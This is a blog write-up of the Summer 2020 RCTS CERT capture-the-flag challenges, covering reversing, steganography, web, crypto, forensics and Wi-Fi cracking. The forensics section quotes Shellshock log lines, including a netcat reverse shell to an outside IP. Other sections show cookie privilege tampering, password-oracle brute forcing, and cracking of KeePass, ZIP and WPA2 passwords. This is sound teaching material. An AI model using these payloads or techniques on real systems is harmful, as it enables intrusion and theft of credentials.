Summer 2020 RCTS CERT CTF Write-Up
Tags: ctf, security, writeup
Published: 2022-11-04 22:36:34

---
title: Summer 2020 RCTS CERT CTF Write-Up
published: true
date: 2020-08-06 00:00:00 UTC
tags: ctf,security,writeup,ctf
canonical_url: https://jpdias.me/ctf/security/writeup/2020/08/06/rtcs-fccn-summer-ctf.html
---

This year the Computer Emergency Response Team (CERT) of the RCTS – The Science, Technology and Society Network – also known as NREN (National Research and Education Network), part of the FCCN (Foundation for National Scientific Computing) of the Portuguese Foundation for Science and Technology (FCT), organized for the first time a Capture The Flag competition targetting students from Portugal at different scholar degrees. The competition consisted of 21 challenges belonging to 7 different categories, namely: Reverse (5), Steganography (3), Web (3), Crypto (3), Forensics (4), Misc (2) and Wifi (1).

<!--more-->

The scoreboard by the end of the competition was the following:

<center>
<img style="width: 70%;" src="https://jpdias.me/images/rctsctf20/scoreboard.png">
</center>

The challenges were solved with [@0xz3z4d45](https://twitter.com/0xz3z4d45), which was the team MVP! Kudos.

So let’s get to the challenges, per category. All the text was translated from Portuguese in a best-effort fashion.

## Index

- [Reverse (5)](#reverse)
- [Steganography (3)](#steganography)
- [Web (3)](#web)
- [Crypto (3)](#crypto)
- [Forensics (4)](#forensics)
- [Misc (2)](#misc)
- [Wifi (1)](#wifi)

## Reverse

### reverse-100 (100 pts)

> The file in annexe contains a code block in JavaScript. Use that to find the Flag.

[reverse-100\_js](/assets/rctsctf20/reverse-100_js)

Taking the file and spreading around some `console.log`, especially in the `for` loops that construct the strings from `chars` (`String.fromCharCode`), we could find the flag.

```
if (aaawwwyyyyy == "tjjjjeee883883jhnjnsmdnmansmndasdyasyds767styduyashbdhbasndb asnbdhasdhasghgd jhasjhjhjdhjas jsdhasjhdjasdha hdjashdjashdsdddddueyu3y4y343434234bebb ") {
  z = 0;
  for (; z < ty000022r.length; z++) {
    cyuu = cyuu + String.fromCharCode(ty000022r[z]);
  }
console.log(cyuu);
}

```

Result:

> Congrats!You reached the flag.flag{th1s\_is\_c0d3\_obfustati0n}

### reverse-200 (200 pts)

> The flag is given by the execution of the binary reverse-200. Find the passwords to solve the challenge.

In this challenge the binary `reverse-200` was given, that asked for a total of 4 passwords. We present two different approaches to solve this challenge.

#### GDB

Since the passwords are compared with our input using `strcmp` instructions, we can change the return value and bypass all the verifications.

```

1
2
3
4
5
6
7
8
9
10
11
12
13
14

b *main+345
start
c
set $eax=0
b *main+440
c
set $eax=0
b *main+511
c
set $eax=0
b *main+582
c
set $eax=0
c

```

Saving this as `script_reverse200` and executing it using GDB would give us the flag.

```
$ echo -e "\n\n\n\n" | gdb ./reverse-200 -x script_reverse200

```

#### Binary static analysis

Opening the binary file in Ghidra (or any other RE tool) will show several `print` statements with “peculiar” strings, namely: `r3v3rs3`, `il0v3c0de`, `almostthere` and `hacktheplanet`. Those strings seemed suspicious enough to be the password values, so we tried them. After several tries (swapping the order of input), we finally break the code.

```
$ ./reverse200
"Enter the first password" -> r3v3rs3

"Enter the second password" -> il0v3c0de

"Half-way there, enter the third password" -> almostthere

"Enter the last password"-> hacktheplanet

"Congrats, challenge solved!"
"flag{I_L0v3_C}"

```

### reverse-300 (300 pts)

> The file contains a JavaScript code block. Use it to find the Flag.

[reverse-300\_js](/assets/rctsctf20/reverse-300_js)

After pasting the code in the browser console and execute it we get the message: `Working as expected! A secret has been created!!`.

Opening the debug window we get the deofuscated code:

```

1
2
3
4
5
6

function hideflag(){
  var Flag="flag{Th1s_0ne_is_confusing}";
  console.log("Working as exepected!A secret has been created!!");
}

hideflag();

```

### reverse-400 (400 pts)

> Find out the output that is generated by the \_puts function.

Contents of the `Let_look_at_the_code.txt`:

```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

_main proc near
var_18 = byte ptr -18h
var_10 = word ptr -10h
var_8 = qword ptr -8

push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, 373073EAFD76FDEAh
mov qword ptr [rbp+var_18], rax
mov [rbp+var_10], 3Eh
mov word ptr [rbp+var_18], 6572h
mov word ptr [rbp+var_18+3], 7265h
mov word ptr [rbp+var_18+6], 6E69h
mov byte ptr [rbp+var_10], 67h
lea rdi, [rbp+var_18]
call _puts
xor eax, eax
add rsp, 20h
pop rbp
retn
_main endp*

```

By analyzing the code, we found that our “string” to be printed is pointed out by `rbp+var_18`. And although we can’t be sure of all the operations, we can map the several `mov` instructions by their difference to the base `var_18` value.

| OP | rbp-18 | rbp-16 | rbp-14 | rbp-12 | rbp-10 | rbp-8 | rbp-6 | rbp-4 | rbp-2 | rbp |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| mov word ptr [rbp+var\_18], 6572h | 65 72 |   |   |   |   |   |   |   |   |   |
| mov word ptr [rbp+var\_18+3], 7265h |   | – 72 | 65 – |   |   |   |   |   |   |   |
| mov word ptr [rbp+var\_18+6], 6E69h |   |   |   | 69 6E |   |   |   |   |   |   |
| mov byte ptr [rbp+var\_10], 67h |   |   |   |   | 67 |   |   |   |   |   |
|   |   |   |   |   |   |   |   |   |   |   |
| Parse to Little Endian (LE) | 72 65 | – 65 | 72 – | 6E 69 | 67 |   |   |   |   |   |
| To ASCII | r e | \* e | r \* | i n | g |   |   |   |   |   |

After guessing the values of the asterisks, we found out that the flag was _reversing_.

### reverse-500 (500 pts)

> Find the flag in the ELF file.

Executing the file and messing around with the input leads us towards a segmentation fault, which points to a buffer overflow vulnerability. We present two different approaches to solve this challenge.

First, we could find the function `get_the_flag()` by just greping the strings of the binary:

```
$ strings reverse500 | grep flag
ns, conseguiste resolver este desafio,a flag do desafio
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.
s->_flags2 & _IO_FLAGS2_FORTIFY
version == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0
imap->l_type == lt_loaded && (imap->l_flags_1 & DF_1_NODELETE) == 0
get_the_flag
_dl_x86_hwcap_flags
_dl_stack_flags
_dl_x86_cap_flags

```

#### GDB

Solving this challenge using GDB, we could just call the `get_the_flag()` function using the following GDB script:

```
start
call (void) get_the_flag()

```

And calling the binary:

```
$ gdb reverse500 -x script_reverse500

```

We immediately get the flag: flag{ROP\_TO\_GET\_THE\_FLAG}

#### Binary Static Analysis

Opening the binary file in Ghidra (or any other RE tool), we found a series of direct values being `mov`ed. By converting those, we get the flag directly.

<center>
<img style="width: 40%;" src="https://jpdias.me/assets/rctsctf20/reverse500.png">
</center>

The flag is flag{ROP\_TO\_GET\_THE\_FLAG}.

By the flag content (ROP) and the possible buffer overflow, we conclude that we could jump to the `get_the_flag()` function by overflowing the function address pointer. However, we didn’t need to exploit in such a way to get the flag.

## Steganography

### stega-100 (100 pts)

> Find the flag in the `rctscert.txt` file.

[rctscert.txt](/assets/rctsctf20/rctscert.txt)

The `rctscert.txt` file is a simple plain text file which seemed inauspicious at the start. However, after looking closer, we found that several letters were at UPPERCASE in the middle of the text. Putting together such letters together lead us to `USECODETOPARSE` string which was the flag.

### stega-200 (200 pts)

> Find the flag in the file `rctscert.jpg`.

<center>
<img style="width: 40%;" src="https://jpdias.me/assets/rctsctf20/rctscert.jpg">
</center>

Running the typical stegno tools in the file did not output any useful information. However, typically, JPG files are used to hide secrets with the [steghide tool](http://steghide.sourceforge.net/). Since we had no password for the file (and empty password would not give anything), we jumped to brute force. Using the tool [stegcrack](https://github.com/Paradoxis/StegCracker) and the [rockyou](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) dictionary (one of the most common dictionaries used in CTFs), we quickly found out the password:

```
$ stegcracker rctscert.jpg rockyou.txt
StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)

Counting lines in wordlist..
Attacking file 'rctscert.jpg' with wordlist '/mnt/c/Tools/rockyou.txt'..
Successfully cracked file with password: honeybun
Tried 5884 passwords
Your file has been written to: rctscert.jpg.out
honeybun

took 53s

$ cat rctscert.jpg.out
flag{l3ts_pl@y_w1th_p1cs}

```

### stega-300 (300 pts)

> Find the flag in the file `steganography-300.jpg`.

<center>
<img style="width: 40%;" src="https://jpdias.me/assets/rctsctf20/steganography-300.jpg">
</center>

This one was more tricky than the last one. `binwalk` pointed us to an embedded ZIP archive in the file. However, it just showed us the end of it, making it hard to just extract it from the image.

```
$ binwalk -e steganography-300.jpg

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
2197933 0x2189AD End of Zip archive, footer length: 22

```

After some time and playing with several tools, [stegoveritas](https://github.com/bannsec/stegoVeritas) was the key to solve the challenge. After running this tool, we get a lot of outputs, including metadata information, analysis under different colour maps and so on. One of the curious outputs was the `traillingbits.bin`, resulting from the tool analysis on the “trailing data of the given file”.

After `hexdump` the first lines of the bin file:

`0000000 4bff 0403 0014 0000 0008 7d0f 4f38 aad8`

The first bytes seemed like known [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures). Searching for the Zip hex signature, we could clearly see the proximity between the two. Fixing the header would give us a valid Zip (`ff` to `50`).

`0000000 4b50 0403 0014 0000 0008 7d0f 4f38 aad8`

Extracting the Zip contents gave us a WAV file, `sec_msg.wav`. Opening it in a tool such Audacity in Spectrogram view would provide us with the flag.

![spectogram](https://jpdias.me/assets/rctsctf20/specto.png)

flag{ob@maISb@ck}

## Web

### webhack-100 (100 pts)

An address was given to an webpage with the following code:

```
<form action="" method="post">
<label>Password :</label>
<input id="password" name="password" placeholder=" **********" type="password">
<input name="submit" type="submit" value="Login">
<!--f93fc10472a31bb3061aa0b45e228c5a-->
</form>

```

The hash in the comment was a known MD5 hash. After searching it, we found out that the value was `strongpassword`. Using it as password, we got the flag:

```
Congrats
You just solved the challenge.
The flag is: flag{MD5_H@ASH3D_P@SSW0RDS_ARE_W3@K}

```

### webhack-200 (200 pts)

A webpage was given with a login form. The following credentials were provided:

user: user1password: p@ssw0rd

We could log in immediately, but there was a part of the page that was only visible to admin users (user1 was not an admin).

<center>
<img style="width: 50%;" src="https://jpdias.me/assets/rctsctf20/web200-1.png">
</center>

After looking at the cookies of the website, we could see that there was a `privileges` key.

![cookies](https://jpdias.me/assets/rctsctf20/web200-2.png)

Taking the value, URL decoding it would give us a base64 string, which plain text value was `admin=0`. Crafting a new cookie value with the `admin=1` content would give us admin powers (since there was no server-side validation), so we could get to the flag.

```
Congrats
You just solved the challenge.
The flag is: flag{C00KIES_AR3_B@D_F0R_P3RMISSI0NS}

```

### webhack-300 (300 pts)

The give website runs the following code:

```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

function checkpassword($user_supplied_password,$systempass){
  
   $login_password_length=strlen($systempass);
   $supplied_password_len=strlen($user_supplied_password);
   if($supplied_password_len!=0){ 
    for($i=0;$i<$supplied_password_len;$i++){
       
       if($i<$login_password_length) #Validar se a password do utilizador nao é maior que a password do sistema
       {

         if($user_supplied_password[$i]!=$systempass[$i]){
            echo $GLOBALS['wrongpass']; #Mensagem de erro "palavra pass errada"
            break;

         }else 
         { 
            if($i==($login_password_length-1)) 
              echo $GLOBALS['flaganswer']; #Chegou ao fim da string e os caractares estao todos certos
           
         }
       }else
       {
         echo $GLOBALS['wrongpass'];
         break;
       }
    }  
   #Mensagem de erro "palavra pass errada" - nao foi introduzido palavra passe
   }else echo $GLOBALS['wrongpass'];
}   

```

By analyzing the code we could see that the password was verified char by char, and after experimenting a bit, we see that if we get the char right, the response was different from a wrong char (the page returned a `Password wrong!!` message in the wrong case or an empty response in the right case).

Using Burp Intruder feature, we could just send chars and then order by the response length to get the password.

<center>
<img style="width: 60%;" src="https://jpdias.me/assets/rctsctf20/burp.jpg">
</center>

The password was BAD22757B321. After entering it, we were given the flag:

flag{VULN3R@BLEP@SSW0RD\_CH3CK3R}

## Crypto

### crypto-100 (100 pts)

> Find the Flag by deciphering the following text:

`N erfcbfgn nb qrfnsvb é synt{E0G13$@%%}`

This seemed to be a ROT cypher. Using [CyberChef](https://gchq.github.io/CyberChef/), we found out that this was indeed a ROT13 cypher.

The solution was: _A resposta ao desafio é flag{R0T13$@%%}_ (The challenge answer is flag{R0T13$@%%}).

### crypto-200 (200 pts)

> Consider the following phrase: The root password is “passroot”!

> This phrase has the following hexadecimal representation after being ciphered:

`a4c1603c82c66a68d0d9646f83de6a6e94896c6fd08b757d83da77739fdd273d`

> Decipher the following message:

`a0c8777d92406b6fd1880f5dd0db606f80c676689189643c95da7179d0cd606f91cf6c73d040257a9cc86267a8995743b49a464ea9f95155c0e72138d58c455c8d`

This seemed like an XOR cypher. Using the [unxor](https://github.com/tomchop/unxor) tool and with a little bit of guessing around plain-text parts (`passroot` was one example) we could get the plain-text:

```
$ python unxor.py download1.dat -g passroot
The root password is "passroot"! Parabéns!!
A resposta a este desafio é flag{X0R_D3CRYPTI0N$$%%@@}

```

Translation: Congrats! The answer to the challenge is flag{X0R\_D3CRYPTI0N$$%%@@}.

### crypto-300 (300 pts)

> The file `public.pem` is a public key of an RSA certificate. Find the private key and decipher the file `ctf_secret.enc`.

[public.pem](/assets/rctsctf20/public.pem) [ctf\_secret.enc](/assets/rctsctf20/ctf_secret.enc)

This challenge called for the use of the [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool).

Running it:

```
$ python3 RsaCtfTool.py --publickey public.pem --private

[*] Testing key public.pem.
[*] Performing pollard_p_1 attack on public.pem.
[*] Performing fermat attack on public.pem.
[*] Performing factordb attack on public.pem.

Results for public.pem:

Private key :

```

[priv.key](/assets/rctsctf20/priv.key)

After having the private key is time for OpenSSL.

`$ openssl rsautl -decrypt -in ctf_secret.enc -out out.txt -inkey key.pk`

And the flag is: flag{lets\_decrypt\_with\_w3@k\_R5@\_k3y}

## Forensics

### forensics-50 (50 pts)

We were given an OVA (Open Virtual Appliance) file, which was virtual machine. Changing the bootloader with `init=/bin/bash` gave us a root shell.

Booting the machine, and checking the bash history we got the flag.

<center>
<img style="width: 60%;" src="https://jpdias.me/assets/rctsctf20/50.png">
</center>
### forensics-100 (100 pts)

> The following file comes from an Apache server which was compromised. It is known that the attack was an RCE (remote code execution) and it was carried over the Apache service.

> Find the pieces of evidence of the attack in the log file and submit the flag using the following structure: flag{<ip_address>_<vulnerability_name>}.</vulnerability_name></ip_address>

[apache\_logs](/assets/rctsctf20/apache_logs)

Since it was a RCE vulnerability, the first search was for a reference to something like `/bin/bash`. The following appered:

```
195.169.55.85 - - [22/Jan/2018:10:34:00 +0100] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c 'ping -c 3 191.252.134.38; id'"
195.169.55.85 - - [22/Jan/2018:10:35:12 +0100] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c 'nc 191.252.134.38 4444 -e /bin/sh'"

```

The flag was: flag{195.169.55.85\_shellshock}

### forensics-200 (200 pts)

> Someone lost its pen drive at the university five days ago. This pen drive was picked by a hacker that, besides keeping the pen for themself, also broke into the person PayPal account and stole their funds.

> This was unexpected since the person used strong passwords. Look at the content of the pen drive (zip file) and find out the password. The flag has the format {secret}.

The pen drive had a [Firefox portable](https://portableapps.com/apps/internet/firefox_portable) application in it. Opening this app and look at the `Saved Logins` we could get the email and password of the aforementioned person.

<center>
<img style="width: 50%;" src="https://jpdias.me/assets/rctsctf20/firefox.png">
</center>

The flag was: {use\_keypass\_instead}.

### forensics-250 (250 pts)

> They said that OpenBSD is a secure operating system. Someone tried to use it, thinking that even weak passwords are safe inside of it. The same person was listening to the “we will Rock You” hit while working. The Flag has the format flag{flag}.

We were given an OVA of a BSD machine. We could bypass the password protection by [`boot into single user mode` at boot time](https://www.openbsd.org/faq/faq8.html) (feature intended to password recovery ), and gain access to a root shell. Exploring the machine, we could find two interesting files:

- `/etc/master.passwd` (same as Unix `/etc/shadow`)
- `/root/ctf.kdb`

And we swapped (backup first) the root password using the [recovery instructions]((https://www.openbsd.org/faq/faq8.html)) (`passwd`).

We then used SSH to exfill the `ctf.kdb` file from the machine. Having the file, we proceed to convert it using John the ripper utility tool `keepass2john`.

```
$ keepass2john ctf.kdb > Keepasshash.txt

```

This allows us to brute-force the keypass password hash.

```
$ john --wordlist=rockyou.txt KeepassHash.txt

```

After bruteforcing the `keypass` file with the [rockyou](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) dictionary, we found out that the password was `281594elliot` and the flag was now accessible: flag{keePassIsKewl}.

## Misc

### misc-100 (100 pts)

> Find the flag in the following file:

[stylist.html](/assets/rctsctf20/stylist.html)

The file has only squares with different colors. Analysing the HTML code something interesting, there was a pattern. `id=nXX` and `background:#0000XX`, where the XX values correspond to the following:

```
[11, 6b],[29, 48],[26, 56],[17, 56],[08, 61],[20, 5a],[06, 74],[09, 57],[14, 52],[04, 5a],[27, 66],[24, 62],[23, 6b],[10, 35],[15, 6f],[01, 6d],[16, 5a],[03, 68],[13, 33],[00, 5a],[02, 78],[05, 33],[12, 58],[31, 3d],[28, 51],[19, 75],[22, 56],[18, 39],[30, 30],[21, 57],[07, 6d],[25, 47]

```

Using [CyberChef](https://gchq.github.io/CyberChef/) to sort the values by ID, convert the resulting ordered hex values (colors) to chars, and finally convert it from base64 to plain-text we get the flag: flag{find\_the\_needle\_@}

### misc-200 (200 pts)

> Find the flag in the following file: flag.zip.

Using a zip cracker script (e.g. [zipcracker.py](/assets/rctsctf20/zipcracker.py)) and using the [rockyou](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) dictionary we find out that the password was `josh123`.

Inside the zip was a text file which content was the flag: flag{br3@k\_th3\_z1P}.

## Wifi

### wifi-200

> The following file contains data from a Wireless network. The MAC address of the Access Point is D0:FF:98:19:1F:33. The data comprises information about IVs of the 4-Way-Handshake between the AP clients and the AP. Find out the Wireless network password knowing that it uses WPA2.

[wifi\_capture-01.cap](/assets/rctsctf20/wifi_capture-01.cap)

Using [aircrack-ng](https://www.aircrack-ng.org/) along with the [rockyou](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) dictionary we can crack the password.

`$ aircrack-ng wifi_capture-01.cap -w rockyou.txt`

The password (and flag) was `allmines`.

## Wrap-up!

This was a challenging set of exercises that encompass several areas of security (at different levels of _realism_). Kudos for the CERT of the RCTS/FCCN for putting this up, and expect to see more competitions like this in the future!

Some other write-ups of these challenges around the web:

- [web-300 by yanmii-is](https://github.com/yanmii-is/ctf-writeups/tree/master/2020-09-02-rcts_cert)
- [forensics-250 by João Varelas](https://vrls.ws/posts/rcts-cert-summer-ctf-2020-forensics-250-writeup/)
<center>
<img style="width: 50%;" src="https://jpdias.me/images/rctsctf20/certrcts.jpg">
</center>